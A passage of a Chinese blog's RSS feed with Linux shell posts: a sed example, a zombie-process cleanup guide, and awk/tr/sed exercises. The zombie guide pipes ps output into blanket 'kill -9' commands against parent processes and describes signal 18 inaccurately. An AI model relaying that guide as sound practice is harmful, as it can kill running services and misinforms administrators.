style="color: #0000cc; ">)</span><span style="color: #0000cc; ">/</span><span style="color: #0000cc; ">\</span>2 is \1<span style="color: #0000cc; ">/</span><br /><span style="color: #0000ff; ">$</span><span style="color: #008080; ">a</span><span style="color: #008080; ">\</span><br />We will love eachother&nbsp;<span style="color: #0000ff; ">for</span>ever！！</p></td></tr></tbody></table><p>&nbsp;</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p><span style="color: #ff9900; ">#sed -f script datafile</span><br /><span style="color: #0000ff; ">My</span>name is hrwang<br />Your name is mjfan<br /><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><br />mjfan is hrwang<span style="color: #ff00ff; ">'s husband.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ＃啦啦～～～<br />mjfan is hrwang'</span>s wifeWe will love eachother forever！！</p></td></tr></tbody></table></div></div></td></tr></tbody></table><img src ="http://www.blogjava.net/kxbin/aggbug/382114.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-03 22:04 <a href="http://www.blogjava.net/kxbin/articles/382114.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下杀僵尸进程方法</title><link>http://www.blogjava.net/kxbin/articles/381843.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Fri, 29 Jun 2012 09:01:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/381843.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/381843.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/381843.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/381843.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/381843.html</trackback:ping><description><![CDATA[<span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">1) 检查当前僵尸进程信息</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep | wc -l</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">175</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># top | head -2</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">top - 15:05:54 up 97 days, 23:49, 4 users, load average: 0.66, 0.45, 0.39</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">Tasks: 829 total,&nbsp;&nbsp; 1 running, 479 sleeping, 174 stopped, 175 zombie</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">2) 获得杀僵尸进程语句</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep | awk '{print "kill -9 " $2,$3}'</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">执行上面获得的语句即可, 使用信号量9, 僵尸进程数会大大减少.</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">3) 过一会儿检查当前僵尸进程信息</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep | wc -l</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">125</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># top | head -2</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">top - 15:29:26 up 98 days, 12 min, 7 users, load average: 0.27, 0.54, 0.56</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">Tasks: 632 total,&nbsp;&nbsp; 1 running, 381 sleeping, 125 stopped, 125 zombie</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">发现僵尸进程数减少了一些, 但还有不少啊.</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">4) 再次获得杀僵尸进程语句</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep | awk '{print "kill -18 " $3}'</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">执行上面获得的语句即可, 这次使用信号量18杀其父进程, 僵尸进程应该会全部消失.</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">5) 过一会儿再检查当前僵尸进程信息</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># ps -ef | grep defunct | grep -v grep | wc -l</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">0</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># top | head -2</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">top - 15:39:46 up 98 days, 23 min, 7 users, load average: 5.46, 2.20, 1.12</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">Tasks: 134 total,&nbsp;&nbsp; 1 running, 133 sleeping,&nbsp;&nbsp; 0 stopped,&nbsp;&nbsp; 0 zombie</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">6) 清除ZOMBIE(僵尸)进程原理</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># kill -18 PPID</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">PPID是其父进程, 这个信号是告诉父进程, 该子进程已经死亡了, 请收回分配给他的资源. 如果还不行则看先看其父进程又无其他子进程, 如果有, 可能需要先kill其他子进程, 也就是兄弟进程.</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">方法是:</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># kill -15 PID1 PID2</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">PID1,PID2是僵尸进程的父进程的其它子进程.</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; ">然后再kill父进程:</span><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><br style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; " /><span style="color: #454545; font-family: 'Microsoft Yahei', 微软雅黑, Tahoma, Arial, Helvetica, STHeiti; line-height: 25px; background-color: #ffffff; "># kill -15 PPID</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/381843.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-06-29 17:01 <a href="http://www.blogjava.net/kxbin/articles/381843.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>shell练习题</title><link>http://www.blogjava.net/kxbin/articles/376528.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Apr 2012 15:26:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376528.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376528.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376528.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376528.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376528.html</trackback:ping><description><![CDATA[<span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1.awk给输出的字段加单引号。（下面输出的第三个字段都加上了引号）</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">awk -v aa="'" '{print $1,$2, aa $3 aa}' filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">例子：</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# awk -v aa="'" '{print $1,aa $2 aa}' file</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a '13'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">b '1'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">2.删除两列之间多个不等空格使成为两列中间只有一个空格的规范格式</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">方法1：cat filename |tr -s ' '&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">方法2: cat filename |sed 's/ \{2,\}/ /g'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">例子:</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# cat a</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a 13</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">b 1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">c 23</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">d 234</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# cat a | tr -s ' ' #注意引号里有空格</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a 13</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">b 1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">c 23</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">d 234</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# cat a | sed 's/ \{2,\}/ /g' #注意空格</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a 13</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">b 1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">c 23</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">d 234</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">3.将一列的转换成一行(本例是指第一列,也同理换成其他列)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">awk '{printf "%s",$1}' filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">例子:</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@WANGJIAN ~]# cat file</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">a 13</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, 